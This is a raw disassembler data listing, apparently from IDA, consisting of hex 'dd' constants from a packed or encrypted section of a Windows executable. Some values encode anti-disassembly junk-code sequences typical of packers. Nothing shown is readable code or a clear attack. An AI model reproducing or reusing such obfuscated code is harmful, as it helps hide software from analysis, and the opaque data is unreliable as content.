		dd 32339BDh, 17740006h,	0EB85350h, 89000004h, 31A9D85h
		dd 0AE9D8D06h, 0FF0605B2h, 6A585BD3h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0AC9DC355h
		dd 660B87D3h, 655FC281h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 92C35141h, 0E71A59AEh, 20333945h, 8A0EBA66h
		dd 0BF0FC08Bh, 0EE8166D7h, 0BD8318BBh, 6032EBDh, 0D840F00h
		dd 56000000h, 5ACFBF0Fh, 2AFE9h, 0CEB70F00h, 6ADF8Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C23DCBC3h, 0D0D137B2h, 0AE9575Dh, 2000000h,	98BE1975h
		dd 0F0D00E5Dh, 66FC5911h, 4C7F7h, 26A850Fh, 81660000h
		dd 0BF2C5AE6h, 0
		dd 0D70EF281h, 0BA660077h, 9D8D2169h, 6064189h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 30C35545h, 0BE875064h
		dd 0F28BF87Eh, 5010B193h, 93F08B66h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0A9C35343h,	7ECF3CFCh, 0FFF159Fh
		dd 665060B5h, 7F94E881h, 48C0F5Bh, 66000000h, 618F88B8h
		dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 4E73C351h, 4268E8E5h
		dd 0B6106AA1h, 25896426h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 71C35545h
		dd 8458BB60h, 820F5D44h, 15h, 0FE8h, 99442B00h,	64E988B9h
		dd 87C846BBh, 0A3A92866h, 8A0F6159h, 1,	6AC48BF9h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 97CFC356h, 0A6A9A5A1h, 1CDCF8Ah, 6A00EBh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B00ABAC3h
		dd 10E8F8E0h, 0E4000000h, 0BC6CF18Fh, 8DA7E10Eh, 0BC633085h
		dd 8B671F57h, 6A5ED7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0DD4009C3h, 8A71AB77h, 7E8F1h, 3F8F0000h
		dd 0BCC13093h, 0F6815A0Dh, 655E206Bh, 58F64h, 0BA000000h
		dd 37761571h, 5704C483h, 5ECE8B66h, 840FC00Bh, 0C0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 30C35141h, 0AE31BB95h
		dd 8DED703Eh, 8B666043h, 0BE9C6h, 398E0000h, 23C802F6h
		dd 0A34B7C7Fh, 6A616106h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 6B5FC350h, 0DAE26930h
		dd 8B0F8718h, 1, 8D53B2F9h, 371E3BDh, 68A0F06h,	0F000000h
		dd 84h,	1B800h,	0DA810000h, 5198032h, 0C88BE7FFh, 850Fh
		dd 8B570000h, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h
		dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0C7F310B9h
		dd 58B0F2Dh, 66000000h,	9CE7D281h, 14E961h, 0DD440000h
		dd 0C8563153h, 16564737h, 0FFBCCBA8h, 777A9CECh, 8BFCC3EEh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0D3178887h, 0E9C789C0h, 0Fh, 0DE2805CCh
		dd 8E138B04h, 763CB55Ch, 665F3919h, 80E1A7BAh, 0BD8357D9h
		dd 60304E5h, 83097500h,	32339BDh, 19740006h, 0C08B5350h
		dd 40EB8h, 39858900h, 8D060307h, 5B6269Dh, 5BD3FF06h, 39BD8358h
		dd 60323h, 53501774h, 40EB8h, 39858900h, 8D060307h, 5B2C79Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0E02D2768h, 0D61BEE5Fh, 0C850Fh
		dd 8C0F0000h, 6, 840Fh,	0DDBA0000h, 6A2468FDh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0B6D7C353h, 12E9A5h,	0D6030000h, 942C31A9h, 570B97A9h
		dd 65620BE4h, 216B7E03h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 455BFCC3h, 0DCDBFE95h
		dd 34F28166h, 0EBC28BA2h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 89858B24h
		dd 8D06031Dh, 6717C85h,	8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 643008Dh,	7DBD8306h, 60320h, 0F840Fh, 6A600000h
		dd 0A595FF00h, 61060323h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
		dd 2728966h, 5A04CD52h,	42FC8589h, 0B58B0606h, 6064300h
		dd 6610CEC1h, 8B027289h, 64300B5h, 72896606h, 858B61FCh
		dd 60642FCh, 39958DC3h,	89060331h, 3299195h, 0ED958906h
		dd 0FF060323h, 323ED85h, 0A185C606h, 5306031Bh,	0B148D868h
		dd 0E1B5FFFCh, 8D060302h, 338E085h, 89D0FF06h, 323A585h
		dd 6C858D06h, 8906063Ah, 3136985h, 0E900EB06h, 61Eh, 612E9h
		dd 44B86800h, 42E90606h, 68FFFD3Ah, 60645F4h, 0FD3A38E9h
		dd 468068FFh, 2EE90606h, 68FFFD3Ah, 6064772h, 0FD3A24E9h
		dd 488368FFh, 1AE90606h, 5CFFFD3Ah, 809E0AD3h, 9FBD29FAh
		dd 0BCDA4617h, 0DFFD6932h, 5E1D895Ah, 0F8C94E12h, 1AE36E8Ch
		dd 3B0490AEh, 592AB1CFh, 713CE8EDh, 0D0170103h,	99D2E5F3h
		dd 0D611455Fh, 1145F200h, 45026BD6h, 9BD5D611h,	3CD61145h
		dd 0D6114533h, 0DEA42F3Dh, 918C8B54h, 4C443F3Eh, 11456F89h
		dd 7B058056h, 0F1C4FE07h, 0D4D45DCBh, 7780B2DCh, 18373C58h
		dd 34F7EF6Ch, 5C14D62Bh, 0BF901725h, 9A0E1BC7h,	0CB37008Ch
		dd 26EF7B89h, 2E342C27h, 0B5DAD9A2h, 2E3CB048h,	0DED9D8A9h
		dd 95519F6Ah, 14215012h, 3027F21Ch, 325A1798h, 5145CE25h
		dd 575854C1h, 48650h, 0BC850E00h, 0DBAC3250h, 0F8C9516Fh
		dd 1BE46E8Ch, 3B0C91AFh, 0C410CFh, 203EAA7Bh, 4260CC95h
		dd 6381EDB6h, 9A9F0BDCh, 1CD23EEh, 97A5D017h, 0FECF5684h
		dd 27F07C8Ah, 80352D28h, 1145A0CBh, 9D66F0D6h, 561FA69Eh
		dd 8172DE9Dh, 34338684h, 8F3A3716h, 23CBC88Bh, 1D5FCB9Ch
		dd 0AD220EBh, 95A2D611h, 4210979Dh, 9C9BEEB7h, 0A9587780h
		dd 4EA2BB37h, 0C95056h,	2084D99Fh, 8366EFC3h, 3C5B96E1h
		dd 0E2DAD92Ch, 958D8C5Dh, 68EF3F10h, 0F043149Ah, 0F7F4D3F1h
		dd 2A38464Ch, 0DBD3A4h,	9F293703h, 0DB84EAB5h, 5F6CD611h
		dd 1A120D0Ch, 50BC8D14h, 397D874Ch, 3A38E5Ch, 56DD0000h
		dd 818AFECFh, 80BFB04h,	0AE77028Dh, 92AE635Bh, 0BD81F689h
		dd 0BCB4F35Dh, 1112FEF9h, 808E34D6h, 57322AFBh,	5A2BB25Ah
		dd 723DE9EEh, 0D611127Ch, 6573E7F4h, 641911DAh,	0AB17E06Ch
		dd 3635068Dh, 0A20E9A11h, 2D2CFD84h, 5CE4AA35h,	0B3998C8Bh
		dd 0BC36A2AAh, 773C619h, 1113C22Ch, 0FFC550D6h,	0B2ADAC75h
		dd 0C23B605Fh, 5CF7C236h, 0D6DC1419h, 0DEDF72C9h, 506CEBDh
		dd 34AFEh, 0F8C14A00h, 17E86E8Ch, 34058DABh, 5720AAC8h
		dd 7748CDEBh, 3C004C0Bh, 5C7AE6B7h, 7E9C08D1h, 9FBD29F2h
		dd 0D6DB4718h, 115F2Ah,	0D3E1D017h, 0FECF56C0h,	0AF8007FFh
		dd 0D7A82D3Bh, 30E5DDD8h, 0B0810614h, 0B8BEB6B1h, 0E2F0642Dh
		dd 70928A5Bh, 11451B95h, 0D8A3D5D6h, 0D611459Ah, 92554D5Ah
		dd 0D6115558h, 63622BB6h, 115544AEh, 0A078A5D6h, 78DE612Ch
		dd 111ADC14h, 0DB416D72h, 9E4A4281h, 0C89D3A91h, 0D7D8CEBDh
		dd 2BED0h, 844DD600h, 0A374FA18h, 0C0911937h, 0E3AC3654h
		dd 3D45977h, 0C88CD897h, 0E8067243h, 0A28945Dh,	2B49B57Eh
		dd 6267D3A4h, 385EBB6h,	5F6DD017h, 0FECF564Ch, 0D0E4818Ah
		dd 0E21FEFABh, 4F244097h, 0B8B0CF69h, 0B3840B03h, 4A4706B4h
		dd 0D64A1BA2h, 0C29BD9A4h, 4E5BD611h, 0C2E10FDAh, 8491D611h
		dd 6D666A8Ch, 0A85C3964h, 22Dh,	9E2432F7h, 50D6CECDh, 3285807Fh
		dd 457D773Ah, 6977D611h, 121810E1h, 3351BD86h, 0FCF2BDA7h
		dd 74D61145h, 1D151467h, 1BC9C891h, 2BB75F5Ch, 9FE5EE62h
		dd 0CC48E4Dh, 0A5A9CBC3h, 5C39342Eh, 935CE8F6h,	66A19994h
		dd 6Bh,	0FF2932B5h, 9D66F1E1h, 9F009852h, 6F0974A7h, 36BBC9FBh
		dd 0BF12E368h, 0A05304C7h, 9DCBDC14h, 12B79CD2h, 0FC4754D0h
		dd 0C18D8A8Eh, 1E75C81Eh, 0CEBE3277h, 0CCBEC5C6h, 0C8000001h
		dd 0EC0A763Fh, 0B299566h, 2846B283h, 4B69D59Eh,	0CA89F5C6h
		dd 6435BA7Eh, 864FDAF8h, 0A770FC1Ah, 0C5961D3Bh, 0DDA85459h
		dd 0D0170297h, 6F3E515Fh, 4582F8C3h, 0FB04D611h, 0A8836994h
		dd 30FB6FACh, 0D6111AC2h, 1ADA5B2h, 71FDF5F4h, 971E3CA8h
		dd 75A2C7C6h, 981D2B9Fh, 72BB7CC7h, 430CC458h, 7F0B294Bh
		dd 0A52C4AB6h, 1F0C37DCh, 0CDC8C798h, 2F1B6882h, 5AE5DDDCh
		dd 18E32591h, 0D61196DAh, 6961745h, 342A257Dh, 7944F027h
		dd 0D611E07Bh, 717AEEFBh, 6B79E3EAh, 0CE9F25ADh, 8981D4CFh
		dd 8354DCD4h, 0D8A3D517h, 0D611289Ah, 63FAB405h, 0C5BB0954h
		dd 15DE68B8h, 0EBB9EA1Dh, 9B6CF4ECh, 841A542Fh,	0D24BD611h
		dd 6407D246h, 0FEDC1488h, 0E96F7DF1h, 88EAC18h,	2AB5C337h
		dd 0F0EDF64h, 14C9C114h, 0C8C7901Ch, 87C45D0h, 82B19FFh
		dd 0B0A884E3h, 0AA7B03FBh, 811F86ABh, 2C8D420Dh, 1825DA17h
		dd 0C0E810C1h, 6B7273D4h, 0BBh,	1B8750D9h, 3AA677FDh, 57C3941Ch
		dd 7AE6AF39h, 9A06D75Ch, 46CB8FDBh, 60EB0975h, 810D2B97h
		dd 0A72E4CB8h, 0B9656AD6h, 170D80EEh, 4F6270D0h, 0D49D2432h
		dd 4A56DFC9h, 6B6ABDC6h, 0C7982070h, 0CFD5CDC8h, 80787748h
		dd 312928F9h, 86ECB7A9h, 6ED611CDh, 1C0F0E61h, 51C670C9h
		dd 0FE86D657h, 31102E2Dh, 0C4838934h, 0C7981FC7h, 0F49C575Bh
		dd 1E975C39h, 0E6000000h, 11455E99h, 6637BED6h,	8C5DE4F2h
		dd 27307294h, 207D7472h, 0DAEFE7F9h, 0Bh, 455F99DDh, 36BDD611h
		dd 5116F965h, 53DBE951h, 38888382h, 0E6E1E0B1h,	9D9EEh
		dd 299F0000h, 0C4C3941Bh, 5606D1C9h, 0D0504CDh,	0BEB6B586h
		dd 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h,	433B3A03h
		dd 0F3EBEABBh, 6F9D9C6Dh, 53E28952h, 0B76176BBh, 72F3812Eh
		dd 12EB761h, 0EA835BDAh, 24148704h, 3F53685Ch, 34890000h
		dd 9AA6824h, 0C890000h,	44066824h, 348B0606h, 4C48124h
		dd 68000000h, 3BCFh, 83242489h,	59042404h, 242C8156h, 28D781Eh
		dd 8108418Fh, 781E0841h, 34FF028Dh, 0C4815924h,	4, 5324348Bh
		dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFD3445h, 0BBEB421Ah
		dd 528FEF3Fh, 0B8ED27A8h, 6064963h, 0D18BC503h,	51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0EB0009FDh, 20h, 7 dup(0)
		dd 4FFE900h, 0F3E90000h, 68000004h, 6064BC7h, 0FD33A0E9h
		dd 4C5868FFh, 96E90606h, 68FFFD33h, 6064E0Eh, 0FD338CE9h
		dd 4E7068FFh, 82E90606h, 0F4FFFD33h, 1836A26Bh,	3755C192h
		dd 5472DEAFh, 779501CAh, 0F6B521F2h, 9061E6AAh,	0B27B0624h
		dd 0D39C2846h, 0F1C24967h, 9D48085h, 0D0170FEBh, 566A7D8Bh
		dd 49FEFDCEh, 5611452Fh, 901E1B94h, 0DC39EC5Bh,	34D2h
		dd 5E992100h, 9AD61145h, 3433048Ch, 970E4139h, 38CA9509h
		dd 32DC178Fh, 0D6CE9F24h, 9BA91D2Ah, 4C47460Fh,	1C053254h
		dd 0A9000000h, 0E021F3A0h, 524A67CDh, 455F9987h, 1590D611h
		dd 0BA4C178Bh, 32DC178Fh, 56D6B925h, 49FEFDCEh,	56114520h
		dd 0AD55525Bh, 9DE85425h, 5F2A9E6Ah, 56115515h,	2A5CD0DDh
		dd 1155115Fh, 52D7E156h, 81362E81h, 0C5310289h,	9317A83h
		dd 0ACB8ABDEh, 7C0481B4h, 70CA3D08h, 0BDC65C14h, 519EFE7Fh
		dd 923E36F6h, 0A7D18685h, 1C501251h, 0D318A6A3h, 5ADA3AF3h
		dd 76h,	24FC29A9h, 4C1DA2B0h, 305A524Dh, 17887265h, 95E7ECDCh
		dd 29EE9CD6h, 0C0B05EDh, 97C570C1h, 3BC2D044h, 2CF7E16Dh
		dd 0D017C2C6h, 0FB4EA1AEh, 19EA718Fh, 0C10C97C2h, 0E6EDEECEh
		dd 2EBh, 5FCB941Dh, 7EEABB41h, 9B07D860h, 0BE2AF37Dh, 0DE4A1BA0h
		dd 8A0FD31Fh, 0A42F4DB9h, 0C5516FDBh, 0EB7290FCh, 0FDA9AE1Ah
		dd 170E3C32h, 93A6B4D0h, 2B647h, 0CE564A00h, 2F49FEFDh
		dd 0B0D61145h, 0D61145C6h, 11455E97h, 45F701D6h, 0F301D611h
		dd 0A09B9A6Bh, 4513612Ch, 0D6E3D611h, 45D11BDEh, 6882D611h
		dd 79961145h, 3500740Ch, 1C173D3Bh, 2432A6B3h, 0D2CDCC9Dh
		dd 850025DAh, 4FBC87FBh, 0C71A11B0h, 832E63BAh,	989994C3h
		dd 25A91h, 5C25AE00h, 7B4CD2F0h, 9869F10Fh, 0BB840E2Ch
		dd 0DBAC314Fh, 0A064B06Fh, 0C0DE4A1Bh, 0E2006C35h, 3218D56h
		dd 3A3FAB7Ch, 9ADC38Eh,	3745D017h, 0FECF5624h, 0DDA3DAFFh
		dd 1DDC1B7Dh, 2B9FF2D3h, 1772AA60h, 31FC2ADCh, 0D01602C3h
		dd 0DF53A6B3h, 7A794AD1h, 2365877Fh, 0C8C08915h, 0E46C3AC2h
		dd 10A1011Bh, 0D82B976Ch, 73FB1985h, 77EA3A2h, 843A0579h
		dd 0CDA10BAh, 0ED40307h, 0F649A24Eh, 6945AF8Ah,	7FA6DA1Ch
		dd 632E18A4h, 0DA1C690Dh, 3285D8E5h, 0A349F3BEh, 3543D01Ah
		dd 0C7E3E2ABh, 232F6FCh, 1E717EC4h, 0F96D7A26h,	279364EBh
		dd 0B2B18209h, 23283FDh, 0FF9904C4h, 0F812C08Bh, 1624CE04h
		dd 0C5C0BF90h, 0A01421CDh, 0B980497h, 837B1DB4h, 0F3C44B59h
		dd 11E26987h, 88635D12h, 646DCE08h, 8B7893EBh, 410C8092h
		dd 0CE081833h, 8BBEB6C3h, 47128612h, 0C40ED299h, 0AE9F1419h
		dd 3F4148ACh, 499C65EFh, 6F40C7D5h, 905EE503h, 3D383708h
		dd 5FC6EBEAh, 0F0824DC1h, 68C20886h, 5E0FD85Eh,	4A4261DFh
		dd 7C7776C9h, 7B752A29h, 0C0F234C1h, 9364EAF8h,	35C3C09Bh
		dd 781C67BEh, 20F17886h, 4CD62621h, 16508B83h, 40000000h
		dd 0CD2D430Eh, 0B8C5F234h, 5F99F5C0h, 0AED61162h, 7, 5F5F99B1h
		dd 29F8D611h, 0E5B024FCh, 0DC178F37h, 7EA3A2AFh, 24F57C07h
		dd 0C54F5DD1h, 0A8DA04FCh, 1091569Fh, 177C2F45h, 6FBAC7D0h
		dd 2CA0A299h, 172C1361h, 0DED6E3D0h, 1220B41Bh,	0C590BEDAh
		dd 0DA182BAFh, 90E73A47h, 0D4C3F551h, 0A4C8CFD0h, 64000000h
		dd 88A612DBh, 0A7C53102h, 0C4E24E1Fh, 0E705713Ah, 66259162h
		dd 0D1561Ah, 22EB7694h,	430C98B6h, 6132B9D7h, 7944F0F5h
		dd 0D0170B7Bh, 29DAEDFBh, 7EB024FCh, 1145BDB3h,	0A32B35D6h
		dd 85D8D3D2h, 0E298638Dh, 62DC178Fh, 0F4315655h, 76EDB82Ch
		dd 0DA121Bh, 0DE539CF3h, 0E5E6D4C3h, 42DEh, 743DC600h
		dd 9364EA08h, 0B0810927h, 0D39C2644h, 0F3C44967h, 0B87CC887h
		dd 0D8F66233h, 0FA18844Dh, 1B39A56Eh, 5257C394h, 0B95DBA6h
		dd 4F5DD017h, 0D473Ch, 324A0000h, 453F3500h, 0AAB7D611h
		dd 5693AAB2h, 0D0504CDh, 0BEB6B586h, 726A6932h,	271F1EE7h
		dd 0DAD2D1A2h, 8D858455h, 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 2668240Ch
		dd 89000004h, 77682434h, 8900000Ah, 6857243Ch, 0F985D71h
		dd 83243C8Bh, 0C78104C4h, 0F66DED2Dh, 835FFE89h, 248904ECh
		dd 24048124h, 4, 8B9515Fh, 1000000h, 0BB53F9h, 1000000h
		dd 5B3389CBh, 243C8B59h, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 8B5C241Ch, 89512434h, 4C181E1h, 83000000h, 0C8704C1h
		dd 0BEE95C24h, 0B9FFFD2Eh, 0DFA21D3Fh, 0D7B8420Eh, 306064Eh
		dd 0E9C88BC5h, 0D9h, 0FBE1D20h,	2F82C12Ch, 0BEB6CFDFh
		dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h
		dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 0F691B800h, 82CD64F7h
		dd 3893h, 3C00h, 4000h
		db 0
byte_520045	db 94h,	2 dup(0)	; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		dd 500h, 100h, 0A2800h,	200h, 20h dup(0)
		dd 2118F800h, 1F55E94Ah, 0A2680000h, 0E9060652h, 0FFFD2DC1h
		dd 653D068h, 2DB7E906h,	9E68FFFDh, 0E9060654h, 0FFFD2DADh
		dd 6555C68h, 2DA3E906h,	2A68FFFDh, 0E9060656h, 0FFFD2D99h
		dd 656F968h, 2D8FE906h,	0FE68FFFDh, 0E9060657h,	0FFFD2D85h
		dd 6589968h, 2D7BE906h,	2D68FFFDh, 0E906065Ch, 0FFFD2D71h
		dd 65C9568h, 2D67E906h,	2668FFFDh, 0E906065Eh, 0FFFD2D5Dh
		dd 6616468h, 2D53E906h,	9468FFFDh, 0E9060664h, 0FFFD2D49h
		dd 667B968h, 2D3FE906h,	2568FFFDh, 0E9060669h, 0FFFD2D35h
		dd 6699C68h, 2D2BE906h,	0FB68FFFDh, 0E9060669h,	0FFFD2D21h
		dd 66A4E68h, 2D17E906h,	3168FFFDh, 0E906066Bh, 0FFFD2D0Dh
		dd 66C6E68h, 2D03E906h,	3D68FFFDh, 0E906066Dh, 0FFFD2CF9h
		dd 0BF2BF47Dh, 0DE4A1BA1h, 0FB6738C0h, 1E8A53DDh, 3EAA7B00h
		dd 0EA6F337Fh, 48FAD19h, 25B1CF3Bh, 4BD2F05Ch, 5D090E7Ah
		dd 17145C92h, 0F30614D0h, 0DF32932h, 9B46F702h,	49444314h
		dd 71F8FEF6h, 961E2CA0h, 0D3CBC6C5h, 68F4021Eh,	1AA1A79Fh
		dd 6B92DD49h, 2D44636Ch, 7832B1D3h, 11BD056Bh, 8DE0EDD6h
		dd 0B2014E19h, 2533DC14h, 7D46D2A0h, 5886322Ah,	5393CC4Fh
		dd 8B989591h, 0D0121D65h, 0AEAD000Dh, 121DFFF9h, 6E7C44D0h
		dd 221A19E2h, 847CCF98h, 0D51EACA9h, 605A3ABFh,	3Ch, 24FC29AFh
		dd 68C2E5B0h, 6E9CDC14h, 12664DA3h, 0C51825D0h,	66E711C6h
		dd 0E35CD012h, 0C09358E6h, 79AB5A3Ah, 126A40AEh, 2B2330D0h
		dd 0FFF0h, 0E3AEE000h, 0D0126A8Dh, 95605865h, 70BB2932h
		dd 322EDDBAh, 0EAFDF3BEh, 6875D611h, 12E36A70h,	3D06909Eh
		dd 13989045h, 0C44B4342h, 0A4A36CF6h, 3B5756A9h, 0EA303E09h
		dd 0B3C0D611h, 7E90868h, 0E9E16D26h, 2F935CE3h,	53A5FACDh
		dd 0D0AB176Ah, 0D611D4E5h, 73DFB037h, 0DE782831h, 0F7151077h
		dd 0A172F9FFh, 78007DA2h, 39C4D204h, 7E767170h,	14E05CBBh
		dd 5DC9D6DCh, 990DEB12h, 15206BCEh, 7C010BDAh, 595829AEh
		dd 44B80B5Eh, 74E0B136h, 0A722932h, 0E64A2781h,	9563E8EEh
		dd 94EB3E0Fh, 0D4C3908Ah, 5F979E9Fh, 0F800001Ch, 1C3AA66Fh
		dd 3B59C596h, 5876E2B3h, 7B9905CEh, 0FAB925F6h,	9465EAAEh
		dd 0B67F0A28h, 0D7A02C4Ah, 0F5C64D6Bh, 0DD88489h, 0D01717E7h
		dd 566E818Fh, 769400D1h, 0AA9C21EFh, 114591DFh,	15461D6h
		dd 48B40702h, 0A172F806h, 0B5BB86A2h, 3DD61145h, 1AE5DD30h
		dd 510F2932h, 0DE61A06h, 0DDBBE215h, 0CC1D9E69h, 4855DC14h
		dd 981F2D49h, 0E20CCFC7h, 30D01282h, 0E4DCDBA4h, 87908F58h
		dd 0ADD6817Eh, 8AE8B3E5h, 6AD01282h, 8D8A655Dh,	6627B3C1h
		dd 0FB7140FEh, 302F8217h, 9A513D35h, 915A3A59h,	0C9h, 9D2432E0h
		dd 0AF281CCh, 21273AA1h, 0CB9C2329h, 7E4FD4CCh,	0ECE3CA7Fh
		dd 0AA31D611h, 4796D8E1h, 0A4F7D430h, 0C2931A38h, 99679EC3h
		dd 0A2191C25h, 256B65F6h, 857DD099h, 0F08B905Bh, 9EABDC14h
		dd 0E5BEE732h, 3C0D9260h, 9FEFEAE9h, 4E494819h,	6CBC87FBh
		dd 0E8DA153Eh, 0CF5967DBh, 991BB06h, 62B8A580h,	0AD32406Ah
		dd 0D25A68DCh, 0F070201h, 15A2ABEDh, 74A3029Ah,	0E1666C64h
		dd 8DA5B910h, 0CDCED4C4h, 1B31C6h, 0D49D2600h, 0F3C44A68h
		dd 10E16987h, 33FC86A4h, 5324A9C7h, 18DC28E7h, 3856C293h
		dd 5A78E4ADh, 7B9905CEh, 0B2B723F4h, 16353B06h,	0AFBDD017h
		dd 0D1569Ch, 27F87E8Ch,	13352D28h, 319D6EF5h, 3500324Eh
		dd 0D611453Fh, 0ACB2AAB7h, 5D555425h, 0DB19E4D6h, 9BD61145h
		dd 6ECF3B8Eh, 2FC9341Dh, 6067F0BBh, 5F91DC14h, 12595E94h
		dd 110916D0h, 0D5285865h, 949CA897h, 4FC35DC8h,	85C34B84h
		dd 62D6E31Eh, 4E03C759h, 0E0AB994Bh, 1E850692h,	0A025562h
		dd 2BF53055h, 58E6AEB7h, 2BE43CE9h, 143E0933h, 9C1480D8h
		dd 830D1B8Fh, 6698C2BAh, 9B0B6934h, 0DEEB1886h,	3D35068Eh
		dd 73DFB037h, 0A6FDCE55h, 97526D88h, 63BDC4C5h,	0F400001Ah
		dd 1836A26Bh, 3755C192h, 5472DEAFh, 779501CAh, 0F6B521F2h
		dd 9061E6AAh, 0B27B0624h, 0D39C2846h, 0F1C24967h, 9D48085h
		dd 0D01711EBh, 326A7D8Bh, 453F3500h, 0AAB7D611h, 5425ACB2h
		dd 0A42B3955h, 7DA8DBD3h, 0F7642FA3h, 0F1DC1448h, 8B8A5BE3h
		dd 0E2EC9890h, 6F8B8A5Bh, 12464EA4h, 0C61926D0h, 6CF1FF73h
		dd 0A30D509Bh, 0C97AC612h, 414EAFD1h, 1F936D98h, 17C0FB54h
		dd 0F26673DAh, 938B5CE4h, 18975AADh, 0ADD891C4h, 7B945FD3h
		dd 0F30FAC51h, 5BC2E7E6h, 547E49BDh, 0DC05AF62h, 0C64D5BCFh
		dd 0E87381F5h, 2D25201Fh, 9866ED0Bh, 4B46450Eh,	0E479A1F8h
		dd 0C9CAA878h, 19A5C2h,	6029B200h, 7F50D6F4h, 9C6DF513h
		dd 0BF881230h, 0DFB03553h, 0A468B473h, 0C4E24E1Fh, 0E6047039h
		dd 725915Ah, 3E43AF80h,	10A9C792h, 3B49D017h, 35003228h
		dd 0D611453Fh, 5728ADB7h, 960A5D58h, 1145A5CBh,	48404DD6h
		dd 0EBEABB42h, 4DC15FC6h, 144FC982h, 0E85461DCh, 25601787h
		dd 331CE75Bh, 3BDA176Ah, 3B44FE2Eh, 8F08AB09h, 0C1847C79h
		dd 7EBFEE05h, 0AD7E0513h, 7D1B82B5h, 83153E09h,	909D74BAh
		dd 0DC677591h, 21191413h, 61ECB7EEh, 9FD14598h,	0A0889ED4h
		dd 51495678h, 0B3325C27h, 0A3C72A5h, 0A443313Fh, 0FE06762h
		dd 151F1510h, 0C7C2C18Ah, 0C3D07C74h, 0E9BA414Fh, 0AD85F7Dh
		dd 0B62B57Eh, 7D6F95D9h, 0D7363D3Eh, 80000018h,	0A4C22EF7h
		dd 0C3E14D1Eh, 0E0FE6A3Bh, 3218D56h, 8241AD7Eh,	1CED7236h
		dd 3E0792B0h, 5F28B4D2h, 7D4ED5F3h, 95600C11h, 0D017135Fh
		dd 56F60917h, 0DAFFFECFh, 5361D5A3h, 0DE0800C9h, 0DCDA3ACh
		dd 549FFFDCh, 0F96995Ch, 2052DC14h, 0B1BE8712h,	0D012CE43h
		dd 822E2633h, 0F2A80975h, 80F48CF9h, 17EB5AB5h,	97C7D4DAh
		dd 7C45CFDDh, 5DADC184h, 7BA2DF55h, 0C5F7299Dh,	5819F4FAh
		dd 776F7CDFh, 5D149BB4h, 0C68C95D5h, 0DE08D50Ah, 5E6B170Fh
		dd 35C33A5Fh, 8F2CB8C1h, 862A83E3h, 7F99648Eh, 79D358DAh
		dd 0E0A05370h, 4102731Dh, 0DB744E75h, 8B1060B3h, 0C8C0BBBAh
		dd 8D9B0F1Ch, 0ABC93506h, 0C0FC5324h, 39DE0A25h, 18083138h
		dd 0C64F0000h, 0ED7391FDh, 0A92B01Ch, 25AFCD39h, 4DD2F05Ch
		dd 551107Ch, 7FEBBC41h,	0A10DD661h, 0C22EF783h,	0E04C1DA4h
		dd 0E642FDBh, 0E6D01713h, 0CF56C5D8h, 0A3DAFFFEh, 0F99661D5h
		dd 79DC146Ah, 9296424Bh, 1FF27881h, 127DDC12h, 9B6694D0h
		dd 0D0127D55h, 6ABD101Dh, 6FADEDF6h, 0EEBAB883h, 2D3AD012h
		dd 0BBE354E2h, 4F40A1C3h, 12891F86h, 0C6971C44h, 0E081CCC7h
		dd 145CA711h, 474D0325h, 5B8D0154h, 0C62CF729h,	0AED0124Bh
		dd 4B5E94A1h, 916D012h,	4BA4CA95h, 3F4CD012h, 6E8B8447h
		dd 96A3DA17h, 199EAC66h, 34E4948h, 69BA06EFh, 0E3A69E10h
		dd 65DC8648h, 2296629Bh, 0DBFA3C57h, 0AAA9B643h, 0F9831885h
		dd 0E3D62C38h, 0EB3E78DBh, 0A069F4ECh, 0BB86FA4Dh, 79C6FF91h
		dd 71681419h, 8ED9AA32h, 176A55ADh, 3D0E95A3h, 5E2CB3D1h
		dd 0D11FEAD4h, 0A17DC4DDh, 97EE4194h, 74902951h, 3D6DDDEh
		dd 54000017h, 789602CBh, 97B521F2h, 0B4D23E0Fh,	0D7F5612Ah
		dd 56158152h, 0F0C1460Ah, 12DB6684h, 33FC88A6h,	5122A9C7h
		dd 6934E0E5h, 0D017120Bh, 56CADDEBh, 0DC12DDCFh, 94D61145h
